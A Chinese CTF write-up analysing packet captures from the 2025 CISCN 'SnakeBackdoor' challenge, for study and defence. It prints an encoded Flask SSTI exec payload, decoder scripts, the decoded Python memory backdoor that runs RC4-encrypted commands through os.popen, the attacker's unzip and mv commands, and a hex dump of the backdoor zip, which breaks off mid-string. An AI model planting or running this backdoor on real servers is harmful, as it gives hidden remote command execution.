博客 / 詳情

返回

2025CISCN流量分析全覆盤與技法總結

0.前言

一直以來都想寫個流量分析的做題總結,總結一些思路和方法,但找不到好的例題,剛好國賽這道流量分析就挺適合的

題目內容

近期發現公司網絡出口出現了異常的通信,現需要通過分析出口流量包,對失陷服務器進行定位。現在需要你從網絡攻擊數據包中找出漏洞攻擊的會話,分析會話編寫exp或數據包重放,查找服務器上安裝的後門木馬,然後分析木馬外聯地址和通信密鑰以及木馬啓動項位置。

1.SnakeBackdoor-1

攻擊者爆破成功的後台密碼是什麼?,結果提交形式:flag{xxxxxxxxx}

直接篩選出http流量

並找到最後一個login,右鍵追蹤一下,就看到後台密碼了

flag{zxcvbnm123}

2.SnakeBackdoor-2

攻擊者通過漏洞利用獲取Flask應用的 `SECRET_KEY` 是什麼,結果提交形式:flag{xxxxxxxxxx}

模糊查詢,直接找到這個關鍵字“SECRET_KEY"

http contains "SECRET_KEY"

右鍵進行一個追蹤,並查詢關鍵字SECRET_KEY

這段流量是 Flask 框架應用配置對象 的完整序列化輸出,攻擊者通過 SSTI(服務端模板注入) 漏洞成功讀取了內存中的敏感變量

  • 內容:'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'

  • 安全意義:這是 Flask 應用最核心的安全憑證

  • 一般用來:Session 簽名,也就是Flask 默認將 Session 存儲在客户端 Cookie 中,並使用此 Key 進行 HMAC 簽名,一旦泄露,攻擊者可以使用工具,比如説 flask-unsign偽造任意用户的 Session,例如將 user_id 改為 1 或 admin,從而實現越權登錄,甚至在某些配置下導致 RCE

所以對應的flag{c6242af0-6891-4510-8432-e1cdf051f160}

3.SnakeBackdoor-3

攻擊者植入的木馬使用了加密算法來隱藏通訊內容。請分析注入Payload,給出該加密算法使用的密鑰字符串(Key) ,結果提交形式:flag{xxxxxxxx}

繼續往後翻,會發現1789流有異常

為什麼説這段流量是可疑的?

  • 首先,內容以 {{ ... }} 包裹,正常的“預覽預覽”功能應該只處理純文本或簡單的 HTML,而這裏提交的是 Jinja2 模板執行代碼

  • 其次,它有危險函數的調用,載荷中出現了 url_for.__globals__['__builtins__']['exec']

    • globals,我們都知道它是試圖訪問 Python 的全局命名空間

    • exec,這又是 Python 最危險的函數,能將字符串當作代碼執行,基本上任何在流量中看到的 exec 基本上都是 RCE 的標誌

  • 接着,它裏面還嵌套了 base64.b64decode、zlib.decompress 以及 [::-1]等一大堆亂七八糟的東西,正常的業務請求絕不會將代碼進行壓縮、反轉再發送

  • 最後,一個簡單的“Hello World”預覽請求通常只有幾十個字節,但這個請求的 Content-Length 達到了 4602 字節,説明其中隱藏了複雜的邏輯腳本

判斷好之後,我們就要分析這段內容是什麼了

首先是SSTI 注入層,使用 {{url_for.__globals__['__builtins__']['exec'](代碼, 上下文)}},這是利用了 Flask 的模板注入漏洞來調用 Python 的內置 exec 函數

其次,Base64 編碼層(外殼)exec(base64.b64decode('XyA9IGxh...'))這段 Base64 解碼後是_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1])); exec((_)(b'=c4CU3xP...'))這定義了一個解密函數 _:反轉字符串 -> Base64 解碼 -> Zlib 解壓

_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=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'))

接着,反轉 + Zlib 壓縮層攻擊者將真正的惡意代碼,也就是上述那段以 =c4CU3xP 開頭的巨大字符串,進行了 Zlib 壓縮,並做了字符反轉,最後再 Base64 編碼

最後注意 Payload 末尾:{'request':..., 'app':get_flashed_messages.globals['current_app']},攻擊者將 Flask 的 app 對象傳入了執行環境。這意味着惡意代碼可以直接讀取 app.config

所以exp.py

import base64
import zlib
import re
from typing import Tuple, Optional
​
class PayloadDecoder:
    def __init__(self, max_layers: int = 200):
        self.max_layers = max_layers
        self.pattern = r"exec\(\(_\)\(b'([^']+)'\)\)"
    
    def _reverse_bytes(self, data: bytes) -> bytes:
        return data[::-1]
    
    def _base64_decode(self, data: bytes) -> bytes:
        return base64.b64decode(data)
    
    def _zlib_decompress(self, data: bytes) -> bytes:
        return zlib.decompress(data)
    
    def _extract_nested_payload(self, text: str) -> Optional[str]:
        match = re.search(self.pattern, text)
        return match.group(1) if match else None
    
    def decode_blob(self, encoded: bytes) -> bytes:
        reversed_data = self._reverse_bytes(encoded)
        decoded = self._base64_decode(reversed_data)
        decompressed = self._zlib_decompress(decoded)
        return decompressed
    
    def process_payload(self, payload: bytes) -> Tuple[int, bytes]:
        current = self.decode_blob(payload)
        layer_count = 1
        
        while layer_count < self.max_layers:
            try:
                text_content = current.decode('utf-8')
            except UnicodeDecodeError:
                text_content = current.decode('utf-8', errors='replace')
            
            extracted = self._extract_nested_payload(text_content)
            
            if extracted is None:
                break
                
            current = self.decode_blob(extracted.encode())
            layer_count += 1
        
        return layer_count, current
​
def execute():
    encoded_payload = b'=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'
    
    decoder = PayloadDecoder()
    layers, content = decoder.process_payload(encoded_payload)
    
    print(layers)
    print(content.decode('utf-8', errors='replace'))
​
if __name__ == '__main__':
    execute()

跑出來源代碼

可以看到復原出來的源代碼RC4的密鑰是v1p3r_5tr1k3_k3y,所以flag{v1p3r_5tr1k3_k3y}

4.SnakeBackdoor-4

攻擊者上傳了一個二進制後門,請寫出木馬進程執行的本體文件的名稱,結果提交形式:flag{xxxxx},僅寫文件名不加路徑

我們來分析上一題我們得到的shell代碼

global exc_class
global code
import os,binascii
exc_class, code = app._get_exc_class_and_code(404)
RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
        S = list(range(256))
        j = 0
        for i in range(256):
                j = (j + S[i] + key[i % len(key)]) % 256
                S[i], S[j] = S[j], S[i]
        i = j = 0
        res = bytearray()
        for char in data:
                i = (i + 1) % 256
                j = (j + S[i]) % 256
                S[i], S[j] = S[j], S[i]
                res.append(char ^ S[(S[i] + S[j]) % 256])
        return bytes(res)
def backdoor_handler():
        if request.headers.get('X-Token-Auth') != '3011aa21232beb7504432bfa90d32779':
                return "Error"
        enc_hex_cmd = request.form.get('data')
        if not enc_hex_cmd:
                return ""
        try:
                enc_cmd = binascii.unhexlify(enc_hex_cmd)
                cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
                output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
                enc_output = rc4_crypt(output_bytes, RC4_SECRET)
                return binascii.hexlify(enc_output).decode()
        except:
                return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

這段代碼是一個典型的Python 內存馬,它被掛載在 Flask 等框架的 404 錯誤處理句柄上

要找到攻擊者上傳的二進制後門文件名,從流量分析入手,利用這段代碼提供的加密邏輯進行解密

【----幫助網安學習,以下所有學習資料免費領!加vx:YJ-2021-1,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客户端安全檢測指南(安卓+IOS)

HTTP 請求頭中包含 X-Token-Auth: 3011aa21232beb7504432bfa90d32779,攻擊命令通過 POST 參數 data 傳遞,數據格式為十六進制字符串

採用了 RC4 算法,關鍵密鑰:v1p3r_5tr1k3_k3y,解密後的命令通過 os.popen(cmd) 執行,結果再次 RC4 加密並以 Hex 形式返回

那我們可以在 Wireshark 或流量分析工具中,篩選出符合以下特徵的流量:

http contains "X-Token-Auth"

找到那些 POST 請求,複製 data 參數後面的十六進制字符串,帶入到以下腳本一個個去試

import binascii

def rc4_crypt(data: bytes, key: bytes) -> bytes:
    S = list(range(256))
    j = 0
    for i in range(256):
        j = (j + S[i] + key[i % len(key)]) % 256
        S[i], S[j] = S[j], S[i]
    i = j = 0
    res = bytearray()
    for char in data:
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        res.append(char ^ S[(S[i] + S[j]) % 256])
    return bytes(res)

SECRET = b'v1p3r_5tr1k3_k3y'
#  data 字符串填在這裏
enc_hex_cmd = "這裏填流量包裏的hex字符串" 

enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, SECRET).decode('utf-8', errors='ignore')
print(f"Decrypted Command: {cmd}")

解密 1814 流的 Data:

  • Payload: bab6694ba3c9...

  • 解密結果: unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip

  • 性質判定:這是一個系統命令,調用系統自帶的 unzip 工具,它是在準備環境,不是在運行木馬本體

解密 1817 流的 Data:

  • Payload: a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351

  • 解密結果: mv /tmp/shell /tmp/python3.13

  • 性質判定

    • 這裏出現了一個絕對路徑 /tmp/python3.13

    • 它不是系統自帶命令,Linux 並沒有 python3.13 這個原生標準路徑,且系統本身運行的是 3.12

    • 定性:這行命令的作用是啓動一個特定的二進制文件並讓它持續駐留,這完全符合執行木馬本體的行為定義

flag{python3.13}

5.SnakeBackdoor-5

請提取駐留的木馬本體文件,通過逆向分析找出木馬樣本通信使用的加密密鑰(hex,小寫字母),結果提交形式:flag{[0-9a-f]+}

根據上題,1813流是在解壓,所以可以提取流量包中傳輸的123.zip,所以往前翻,翻到1807流

PK開頭就是有.zip壓縮包了,顯示選擇為原始數據

將504b開頭那些東西都複製下來保存到.txt文件內,通過以下腳本進行一個提取

import binascii

#那段長十六進制字符串
hex_data = "504b03041400090008002431955be01c1a3483100000f838000005001c007368656c6c555409000354d547695ad5476975780b000104000000000400000000b513d2ddc97797c8b164bf85a8cfb6162732440e1431884df99aae322636568e2824d8eadc31815e8d6b5dda1fc3d6ee45e91146de5248d321d8b87c65e27269dddb8aa41496c9acfec533833226e162c40d9404b301751a6cca6a52adea3f175b4b0f2c11989600b9fc2c8a007e393962dc264416f07e3232ca03fd484421c638aa6079b54493a1c10e86de01a10ab08fbf7bbb2b5232b139dbec9e22312e3ecd22f5f1e6eed431dad7a8ec8e5938dedca24c38f4d2df50d34a88c5d6e51f156612f990f0a30c8aac7e91e6ab68ec994d332fd9392f47b3d513d684a913dfb2be73216fe3a1314cb4cfb6746bd1061198731e792596c74dc7c81caa67e136aa9838e6d8def8a79329971d934425be0202850e19571f340229e64d186e570fdb6da66531d7e9adb508a8f28442c42a711bb950c9952aa3b4c20ba46bb7bbfe024268e068c9a93ce45c6764b8d879ea1460271c73b29ea5dc8b79251ff941302e2f6060c851074e631cd489d1978c83cc85d01c4111d78cc99985f6231c406694d33d94759667346d566d97f5e31c6f6694e017927bbacd853ca588276a105eab80e9eb7b039c4cfb7c1a023cb9686cd4a28d977bb09e14dc5a53cf3c0247abbf8a120050ea28b2a25779a997e5b738c4fe6f6b39d7d3a7b926be1c727f43971c7116b9fb7dbbfa2770b7aa250cf5c7764c1756ad7bfbe3fc838ad20c6dc7aa9ad7a60cc4c5c988fcb1ad7b2d93719855c155908db4f19e5725c1f7052ae9e226e46e716501b49599648a8492eb1e7f8e340ea7c0127affc890c359284a61a7ad7159f591afdae771c6ee6d82b4a1c3c8bdcb6fd42649ba37a41e3f20c8d7f70c1166161884a5e74cf5b4991992310fcadd61c599884b8d982809bc6bb776236c10642f9fa0b513b731431c269853bebbd9920468397c3f0d7587f05500550bf7096e054b3e541006d22620d73d0fc018eb760042878362eb1fd7090157a6713774fa5fdf5b5e6cc11cf945427121029e9ba66f7b1f3e93832d1434687c720f6ab52d1f979d590eaf6ade5ee8685259afc823ca12a6382bd3bd46e674f9914cf1a4e4c4ee3d6699fbdb28934aa1de1a33d5a9a9c65d74314d8e9c667f01e881b58757897486b66ee3ccbb114bf61a652115660b3b65f08da901554c63e9fdceca137b1c3161c2a27bec3b3d3ced97630c980611f8ea13611a3a8520e6b9dc430ca91f60aa65ac52355fbff0ccbbef479e60f3d217be6ca580b4f9fa315b681467cb1dc3348a23889685e0274fd5f16cc153d0dfe862fa54feea077eaf8a10a0d13aa54dbfde88d689bfae3f716d303f14d08139fe3d6528e2aad3fa28f3d4ce91b54e3589bfe4f73c73e7ec963fb4265104e5393fa1ad407bc4aea65c75dd83787e2b782ad0587032730a860d15054ce554645ce2e8fda849adc619b2c09242f420befebf279bb3c1e8716e431cf2b89caa849e76c3cddf20944c43731aee2ae257292704589ee9d93654b72d4ee4daf95f0c58ac33cf2d7d5a9123f6cdab29475465c6c4643adc7eb9301f3f30048463a2c11f7c7efd30eac836ec8a62690f24d010af11974f58b66467cc7f3294ceccb0496b381ed3774dac4642b6ecd3b05214cfd67756c8f90c5380f61fba3a0be60c723e0b9a8a1ab291f214b06410dd834f0326d2961cdf1a8906807d8e82492ad63151f2a18dd5d527b151b5e7219d824c8c7b18de38d0ca7117a321f689ed9cf00b90f37cf42fcc34327fd6763b95a33cfcdd941cfe3fd5fd1a7b6a164135ba5b9e015902315c93d73ade804c42a6b3c7f1f6d76141397f6867167edca1d2ae3de618647d7e283554df51accd77418644087f8a0d1d6bd37e30f9c387e5c86c747e483b1bac9bdfeef360c59ba2cc8c31b5e58b30e004ebddd26ade10fbc0c27c1e8b883c72a92a7645a2910a79f665f4b106e9188a14436c567f51ea48f94ff2283f9cc1f13aeb55e25e6c517bf41073f3cf610c2119f065eb0d29982b3d81b5af4dc84a11d17c7b328ad83253c3d4d099674bc5632b8e4d79188268e420171b51b789491c82d4fb543bee92182a0287a61797d99e034bcb8ce72942884fef00fed929747e526d463e66961e48e9ea66048d8b42f7bedd5fc9c80c7fbe09c1a1c0d84111d71f34bef352287345bad7e417c8a3c43b8582f6410fe2091feb73548ee05a9eebde8b310817cdeade38a5736161bfc8f9453f7cc80a2f2dbf5ac2c83f489424719276bcd7b238249157cb40d2715dc46b3f7acc1520148ee03430c2a7da27e3d4d204178cb4ba2d378e2fe8aaea895251de970cda7dfa00aaef5eaa2f2673663d880983d9fa6cdf6aeeeba99bb1b2bf774a9685b13b8aec015e1782e31c5582125445c1f3b314912e93c6677be910ae19b3c4237c417beafb7acd13c85fde3f2d517c00e302f7bfc60bb967b4f4e00e6f53ca2a3125b7b260e5cb311f41449ce394a7c164830836b516d246c1afaf7c0c39c082e7a8d2ee66374b7d8c37db77f634c22025fad64a6df59d41ce4c5191517b821c5e7e2238e92948f10f17088935d976e2ed1986eef61bc0c481c5f4dfc4e809dd642712290ae75e80454e132e1051e4fe1554ef49ec33afbfc978e3c72b7b1f7c494bec23d342a8821f1eb5d9749d82d37d8de9bd33bdc81fdcee09bd532b0a131711126c47e90e32ea3cbdfe594717e05983b50df59150d7e5a15cd618a9866ec18aee3262f3b5bebd30b459c004d30bfcb0f360b7d352169e647a7c287db39b79fc4ceae70b2cf8c7658868a2c62aecd65e525b4e0dc3de33940691361bbb905d0eddd67f40f09170c314206b5c6504edbaaa92bb41495d8422b546de33415234f282a60121ff6621a3574e693c7525893bc55f2017c117ae699b315e98f48729229b55ee72d7ef1e3e81a82369796e95aa2a6bd1c04dd69ec76748564859f3226d8291782d7f39120da7cd4f84c75db5530bb4ff9ec55404d68061ede3bc81409f56f1306b9aa5da184ec4c1d88d89663a4777a359a4dcec516243950cefb912563a81b916f719c4b70b3ae5147fbaf0abb87b799f17fca39564b12f9ec1e14c7f1a24e0893fcbeb864bef56f72b9801867ac327d4e9df67e044a60c0c44eac4db6589e1937762925328debd3ee0033a7e7e28e82248b07f263a1a8fdce1c72ecff1b814977edc5ca76bffb7fc22207c856a018891127ad857548e25398cfa997ff603eb5ae6be0edc690614cf183d6a19310bfc9de10f3b2ec0aba9448127360baf508d8fe1a661e819ad96028bdd1fd88350571fb522993c23aa6af907ab063cc27b3e9ce1edc9d8126bebf17182ec066d65e0801f026485100c66b14b26876570d1ef4b61bb3d2c0bd137d6744e092ede9bfd2f532993cdd8bdadeb4a237cbaae27f57d10e81ef26dfe81a8df41c5f5e5e6170a1212dcd4bf162dbf51e0d89b5929a7a852f762407591bca0ffde5aaa876ec030686080581a88813430800e0b35cf8583c0587184a81eadac8ba97fc3690718667154eeb64faf290a4b302bd782acd35e86675ea0560f42980596bd4357592b4c8328c08fe06a07ffe40d823ca76de71c667e1f687985bfe1a8516a634f3a2329e2037dd74a6044e0fc4a35f29e50b0fd9910fa26a2aa6608166b4e105587fb1ec7152f4e31dae57392978512d263c6ab623df7258df18e5b961f0637d5f1cccad010595c7e9d26c0f46f5ab7565c207dcfd89eecacad59f819fa93a4ed7025b035c2c3c42116c455615612bbc05c29540ffeae786afad4417948fffa8723489716aaf2f133c3b34de35e82901e9748046c9367f8ec30153982981a8e0e3ac1e6774dcd7c93219216bcad1a367452bdd5e672df506b185a3181c51cab3d2e6066f68fbea7e7f8a9cf4b9fae41bb0331fc06a1311f02feda19fe6e2b06bc22f700da588677f6d2c4b8e82502198e5113a6c7ed984b82a97e5639e2e2ef3aaf24ba348f33ada85f25ef7523a45918150589fc61b93183f18c99656711a2c75baaa0b9eaceb21b576a1276d3a4f807dabbf51d25d464f6228e93dc1b96a10bf3342ef268b85fbfd816aa9c61180ed7ef55b2d0738a4ddaf76b02b381e8f339030d53d64344772c56a251331eefeee7edd4bb28ad7e6687f724354c45b7266072c2e3da8939bf34fbebfd0de204033088205c4c671584a9979ab628fd2dc4d7ab8d57a25bd9b064018f000fd21b4023ac94736bef5701505e2ea75e0670931a325b296f3447787268ce000a45c43fa79b873828d5c0cfbf8403f0e3ae320d025552f090d6e4460930c35726f97a7d8505ef88dbf3248f3944b9e00e60d77b7537555221a7d8b9f20ceafe369ac7519cdc8fcaad00d63ffd58e624cb1e3a2fde7870faf58e4c25ac3fa548b742749389f3417df80abdd2dd66bebe976f03e3e1cd08a19e2cdd86e3d4bd7230b208ea7b482b226c9f47011